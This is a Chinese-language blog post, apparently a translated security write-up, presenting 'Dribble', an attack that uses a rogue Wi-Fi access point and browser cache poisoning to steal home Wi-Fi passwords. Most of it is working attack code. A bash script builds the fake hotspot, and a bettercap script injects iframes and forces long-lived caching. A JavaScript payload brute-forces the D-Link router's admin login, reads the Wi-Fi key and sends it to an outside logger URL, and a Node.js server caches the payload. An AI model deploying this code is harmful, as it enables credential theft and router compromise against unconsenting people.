利用JavaScript缓存远程窃取Wi-Fi密码

我一直想在这个小项目上花一些时间做一些研究,但是由于生活所迫让我总是一直繁忙。现在我终于可以抽出一些时间了继续研究这种攻击技术了,我将在本文中阐述我的研究成果。

很久以前,我学习了Vivek Ramachandran讲解的“无线局域网安全Megaprimer课程”(课程非常好,强烈推荐),顺便说一下,在我做旅行的时候,我住的那些不同的酒店都会提供Wi-Fi。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”的方法。

Can’t turn my brain off, you know.
It’s me.
We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean’s Twelve)

我即将描述的想法非常简单,可能也不是什么新的思路了。尽管如此,对我来说这是一种有趣的方式,让我将放在架子上一直吃灰的Raspberry Pi重新用了起来。

 

思路描述

我们的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目起一个名字,所以我在开发完这个项目后将其命名为“Dribble”:-)。Dribble 会创建一个虚假的Wi-Fi接入点,并等待客户端连接它。当客户端连接时,dribble会拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的HTTP头也会被更改,以便恶意的JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接到家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将密码发送给攻击者。
很简单,对吧?

为了达到这个攻击目的,我必须弄清楚这三件事:

 

如何创建虚假接入点

  • 1.如何强迫人们连接到这个伪造的热点
  • 2.恶意的JavaScript代码应如何从路由器窃取密码
  • 3.如何创建虚假的无线接入点

这非常简单,伪造的方法也包含在无线局域网安全Megaprimer课程中,并且有许多不同的github存储库和gist上的代码可以用来创建一个虚假的访问点。因此,我不会过多地描述细节,但为了完整起见,让我们讨论一下我使用的方法。我之前使用 hostapd 创建过Wi-Fi接入点,dnsmasq 作为DHCP服务器和DNS中继服务器,并使用 iptables 创建NAT网络。下面的bash脚本将创建一个非常简单的不受任何密码保护的Wi-Fi访问点。我在代码中添加了一些注释,希望能提高可读性。

#!/bin/bash

# the internet interface
internet=eth0

# the wifi interface
phy=wlan0

# The ESSID
essid="TEST"

# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up

##################
# DNSMASQ
##################
echo "
interface=$phy

bind-interfaces

# Set default gateway
dhcp-option=3,10.0.0.1

# Set DNS servers to announce
dhcp-option=6,10.0.0.1

dhcp-range=10.0.0.2,10.0.0.10,12h

no-hosts

no-resolv
log-queries
log-facility=/var/log/dnsmasq.log

# Upstream DNS server
server=8.8.8.8
server=8.8.4.4

" > tmp-dnsmasq.conf

# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf

##################
# IPTABLES
##################

# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward

# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE

##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd

interface=$phy

# ESSID
ssid=$essid

driver=nl80211
auth_algs=3
channel=11
hw_mode=g

# all mac addresses allowed
macaddr_acl=0

wmm_enabled=0" > tmp-hotspot.conf

# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf

 

如何强迫人们连接到伪造的热点

免责声明:由于各种原因,我故意将本节的内容留在高级别的描述中而没有提供任何代码。但是,如果我的方法能得到足够多的关注并且确实有人对此感兴趣,我可能会进行更深入的讨论,或许会提供一些代码和实践指南。



根据你的目标,可能有不同的方法尝试让某人连接到虚拟接入点。我们来讨论两种情况:

情景1

在这种情况下,目标连接到受密码保护的Wi-Fi,可能是攻击者试图访问的受密码保护的Wi-Fi。在这种情况下,有几件事情要进行尝试,但首先让我讨论有关Wi-Fi是如何工作的内容。深受大家喜爱的802.11标准有许多有趣的功能,其中有一个我发现…非常有趣。802.11定义了一个特殊的数据包,无论是加密,密码,基础设施或任何内容,如果把这个数据包发送到客户端则只会断开该客户端与接入点的连接。如果你发送一次,客户端将断开连接并立即重新连接,用户甚至不会注意到发生了什么。但是,如果你继续发送这种数据包,客户端最终会放弃重新连接,也就是说,你实际上可以阻塞Wi-Fi连接,用户可能会注意到他没有连接到接入点。通过滥用此特性,你可以简单地强制客户端断开与其连接的合法访问点的网络连接。基于这一点,可以做两件事:

  • 1.攻击者可以使用与目标连接的访问点相同的ESSID创建虚假访问点,但没有密码。在这种情况下,攻击者应该希望一旦用户意识到他没有连接到接入点,他就会尝试再次手动连接。因此,目标将找到具有相同ESSID的两个网络,需要密码的那个会有“锁”的图标,而另一个不需要密码的则没有这个图标。用户可能首先尝试连接到带有“锁”图标的那个,但这不会起作用,因为攻击者已经干扰用户连接到这个热点了,并且可能他也可能尝试没有“锁”图标的那个…毕竟它具有相同的名称他非常想要连上网络……对吗?
  • 2.另一个有趣的行为也可以用来强迫用户连接虚假的热点,无论何时,如果客户端没有连接到接入点,那么客户端都会不断的发送寻找先前已知的ESSID的信标数据包。如果目标已连接到未受密码保护的接入点,并且可能是用户自己的行为,则攻击者可以简单地创建一个虚假接入点,与目标访问的未受保护接入点的ESSID相同即可。因此,客户端将会愉快地连接到虚假接入点。

场景2

在这种情况下,目标没有连接到任何Wi-Fi接入点,可能是因为目标是智能手机而且目标用户正在街上行走。但是,有可能Wi-Fi网卡仍处于打开状态且设备仍在寻找已知的Wi-Fi ESSID。再次,如前所述,目标可能已连接到某个未受密码保护的Wi-Fi接入点。因此,攻击者可以使用目标已连接过的接入点的ESSID来创建虚假接入点,就像之前那样,Wi-Fi客户端将愉快地连接到虚假接入点。

 

创建并注入恶意载荷

现在我要说的是一个“略新”的思路(至少对我而言):弄清楚恶意JavaScript代码应该如何访问路由器并窃取Wi-Fi密码。请记住,受害者将连接到虚拟接入点,这显然给了攻击者一些机会,但仍有一些事情需要考虑清楚。

作为攻击测试的目标路由器,我使用了家用Wi-Fi路由器,特别是我的ISP免费提供的D-Link DVA-5592。不幸的是,目前我还没有其他可以测试的设备,所以我必须用它做好准备。

我们现在讨论的是恶意JavaScript代码。我们的目标是让这些恶意代码对路由器执行请求,这意味着它必须对本地IP地址执行请求。说到这里,你应该已经想到了诸如Same-Origin-Policy和X-Frame-Option之类的关键字。

同源-策略

让我借用MDN网络文档中的定义:

同源策略是一种关键的安全机制,它限制了从一个源加载的文档或脚本与来自另一个源的资源交互。它有助于隔离潜在的恶意文档,减少可能的攻击媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

换句话说:如果域A包含JavaScript代码,则该JavaScript代码只能访问域A中的信息或域A的子域。它无法访问域B中的信息。

X-Frame-Option

让我再次从MDN Web文档中借用这个字段的定义:

X-Frame-Option 是一个HTTP响应头可用于指示浏览器是否应该允许在<frame>,<iframe>或<object>中渲染页面。站点可以通过这种机制确保其内容未嵌入到其他站点,并且可以使用此功能来避免点击劫持攻击。https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

这非常简单:X-Frame-Options 可用于防止页面在iframe标签中加载。
那么让我们看看我们请求D-Link登录页面后得到的响应:

HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182

<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>

响应包含X-Frame-Options并设置为了DENY(感谢上帝),这意味着如果我不能通过在iframe标签中渲染路由器主页。此外,由于恶意JavaScript代码将被注入到与路由器不同的域中,因此Same-Origin-Policy将阻止与路由器本身的任何交互。对于这些问题,我提出我所想到的一个简单的解决方案,不过注意我的方法可能不是唯一的解决方案,思路如下:

注入两段不同的JavaScript代码。第一段JavaScript代码将iframe在受感染的页面中添加内容。将iframe的src参数指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options设置为DENY。因此iframe将无法加载路由器的页面。但是,当创建iframe的JavaScript代码执行时,受害者仍然连接的是虚假访问点(还记得我前面提到的优势点吗?)。这意味着对路由器IP地址的请求将由虚假接入点处理……多么方便。因此,虚假接入点可以拦截对路由器IP地址执行的任何请求,并通过以下网页进行响应:

  • 1.包含第二段JavaScript代码,这段代码将真正执行对真实路由器的请求
  • 2.响应中没有X-Frame-Options HTTP 头
  • 3.响应中包括用于缓存页面的HTTP头。

由于虚假接入点被当成了合法的路由器,因此浏览器将缓存一个页面,该域名是路由器的IP地址,从而绕过了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客户端回到家连接到家庭路由器时:

  • 1.第一个JavaScript代码将添加一个iframe指向路由器的IP地址,
  • 2.在iframe中会加载已缓存的包含了第二段恶意的JavaScript路由器主页
  • 3.第二段恶意JavaScript会被执行并攻击路由器。

第一段恶意JavaScript非常简单,它只需附加一个iframe。第二段恶意JavaScript有点棘手,因为它必须执行多个HTTP请求来强制登录,然后访问包含Wi-Fi密码的页面并将密码发送给攻击者。在我测试D-Link时,登录请求如下所示:

POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh

这里的重要参数是:

  • 1.userName这是admin(令人震惊);
  • 2.userPwd 看起来是加密的;
  • 3.nonce 这肯定与加密密码有关。

查看登录页面的源代码,我立即注意到了这一点:

document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);

这意味着登录需要CryptoJS库并从document.form.nonce.value中获取nonce 。有了这些信息,我可以轻松地创建一段小的JavaScript代码,这段代码会用一批用户名和密码尝试爆破用户名和密码然后登录后台。

进入路由器后,我需要寻找包含Wi-Fi密码的页面。D-Link DVA-5592中的当前固件会在用户登录到仪表板页面后立即以明文显示Wi-Fi密码(哦,我的天呐)。

此时我需要做的就是访问页面的HTML源码,获取Wi-Fi密码并将其发送到某个地方进行保存。现在让我们深入研究为D-Link量身定制的JavaScript恶意代码。

// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math);
(function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();


// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
      if(this.response.includes("D-LINK")){
          console.log("d-link");
          dlinkStart();
      }

      };
xhr.responseType = 'text'
xhr.send(null);


// The main function that starts the attack
function dlinkStart(){
    // List of possible usernames
    var usernames = ["administrator","Administrator","admin","Admin"];
    // List of possible passwords
    var passwords = ["password","admin","1234","","pwd"];
    // the array containing usernames and passwords comination
    var combos = [];

    var i = 0;

    // combines all possibile usernames and passwords and put it into combos
    for(var i = 0; i < usernames.length; i++)
    {
         for(var j = 0; j < passwords.length; j++)
         {
            combos.push({"user":usernames[i],"pwd":passwords[j]})
         }
    }


    function dlinkAttacker(user, passwd) {

      // first request to get the nonce
      var xhr = new XMLHttpRequest();
      xhr.open('GET', 'http://192.168.1.1/ui/login', true);
      xhr.onload = function () {
        if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                    // the current username to test
                    var username = user
                    // the current password to test
          var pwd = passwd
                    // the nonce extracted from the web page
            var nonce = xhr.response.form.nonce.value
                    // the password encrypted with nonce
            var encPwd = CryptoJS.HmacSHA256(pwd, nonce)

                    // let's try to log in
            var xhr2 = new XMLHttpRequest();
            xhr2.open('POST', 'http://192.168.1.1/ui/login', true);

            //Send the proper header information along with the request
            xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr2.onload = function () {
              if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                try {
                                // the comination usernamepassword was corrent, let's get the Wi-Fi password
                  var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
                                // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
                                var xhr3 = new XMLHttpRequest();
                                xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
                                xhr3.send( null );
                } catch (e) {
                  // Wrong password, let's try a different combination
                  i++
                  dlinkAttacker(combos[i].user, combos[i].pwd)
                }
              }
            }
                    // the body of the login request
            var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
            xhr2.responseType = 'document'
            xhr2.send(params);
        }
      };
      xhr.responseType = 'document'
      xhr.send(null);
    }

    // Start the attack from the first combination of usernamepassword
    dlinkAttacker(combos[i].user, combos[i].pwd)
}

嵌入这段代码的页面应该缓存在客户端的浏览器中,并根据路由器的IP地址发送。现在让我们暂时把这些代码放一边,让我们讨论一下缓存这段代码的网络配置。

正如我刚才所说,上面的JavaScript代码将缓存为来自路由器的IP地址,并将加载到由另一段JavaScript创建的iframe中,第一段JavaScript代码是我在客户端每次请求JavaScript的时候在每个页面中注入的。要完成拦截和注入,我使用了bettercap。Bettercap允许创建HTTP代理模块,可用于对HTTP代理进行编程并告诉它如何操作。例如,可以在将响应传递给客户端之前拦截响应,并决定注入什么,何时注入以及如何注入。因此,我在JavaScript中创建了一个简单的代码,它在bettercap中加载并执行注入。

// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]

// this function is called when the response is 
// received and can be sent back to the client
function onResponse(req, res) {
  // inject only responses containing JavaScript
  if(res.ContentType.indexOf('application/javascript') == 0 ){
    console.log("caching");
    console.log(req.Hostname)
    var body = res.ReadBody();
    // set caching header
    res.SetHeader("Cache-Control","max-age=86400");
    res.SetHeader("Content-Type","text/html");
    res.SetHeader("Cache-Control","public, max-age=99936000");
    res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT");
    res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT");
    res.SetHeader("Access-Control-Allow-Origin:","*");

    // set payload
    var payload = "document.addEventListener("DOMContentLoaded", function(event){n";
    for(var i=0; i < routers.length; i++){
        payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n";
    }
    payload = payload + "});";

    res.Body = body + payload;
  }
}

有一点值得注意的是,上面的代码中,JavaScript有效载荷会尝试为routers数组中的每个IP 加载一个iframe。这是因为家庭路由器的IP可能配置有所不同。这意味着Raspberry必须响应不同子网上的不同IP。为此,我只需向Raspberry的无线接口添加更多IP就行了。这样,无论加载iframe的代码何时执行,都会对公共路由器的IP地址执行请求,并且Raspberry的无线接口可以伪装成路由器,响应这些请求并缓存我想要的任何内容。

最后,我需要在Raspberry上搭建一个Web服务器,它可以监听无线接口并缓存攻击路由器的JavaScript代码。我先用Nginx做了一些测试,以确保这个想法有效,但最后我选择了Node.JS,主要是因为我还没有使用过Node.JS的HTTP服务器。

var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one 
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}

for (var i in jsob){
    // placing a / at the beginning is a bit of a lazy move
    repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}

var server = http.createServer(function(request, response) {
    var url = request.headers.host + request.url;
    console.log('Request: ' + url);
    console.log("REQUEST URL" + request.url);
    console.log(request.headers);

    var headers = {
        "Content-Type": "text/html",
        "Server": "dribble",
        "Cache-Control": "public, max-age=99936000",
        "Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
        "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
        "Access-Control-Allow-Origin": "*"
    };

    // Cache the index page
    if (routers.includes(url))
    {
        console.log("cache until the end of time");
        response.writeHead(200, headers);
        response.write(index);
        response.end();
        return;
    }
    // cache the JavaScript payload
    else if (repobj[request.url]){
        console.log("cache JS until the end of time");
        headers["Content-Type"] = "application/javascript";
        response.writeHead(200, headers);
        response.write(repobj[request.url]);
        response.end();
        return;
    }
});

// listen on port 80
server.listen(80);

 

让我们测试一下效果……!

我自己已经做了一些攻击测试,但我想在更真实的环境中进行测试。但是,我不能在没有别人同意的情况下对任何人进行攻击尝试,所以首先我需要一个愿意参与这个小实验的受害者……所以我问我的女朋友。谈话是这样的:

太好了,既然我已经有了一个心甘情愿地决定参加这个小实验的受害者,那么是时候开始攻击并引诱她的iPhone 6连接到我的虚假接入点了。因此,我创建了一个和她之前访问过的某个WiFi一样的ESSID的虚假接入点,我知道她之前已经访问过(是的,受害者的情报也很有用,哈哈)的热点,很快她的iPhone连接到了我的虚拟接入点。

我让她在仍然连接到虚拟接入点的同时浏览网页并耐心地等待她进入一个只支持HTTP的网站。

He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)

最后,bettercap闪烁显示并打印出已经注入的东西,这意味着我不需要让她连接到我的接入点了。

因此,我关闭了我的接入点,导致她的手机漫游到我们的家庭Wi-Fi热点,并且由于她仍在浏览该网站,注入的恶意JavaScript代码已经执行完了,并将我家的Wi-Fi密码直接发送到了我的PHP页面。

 

总结

整个攻击过程用到的代码都可以在我的github上找到,这些代码肯定还需要改进,还应添加对新路由器的支持。如果我有机会测试其他的网络设备,我将会把它们添加到Git存储库中。各位,玩得开心……

(完)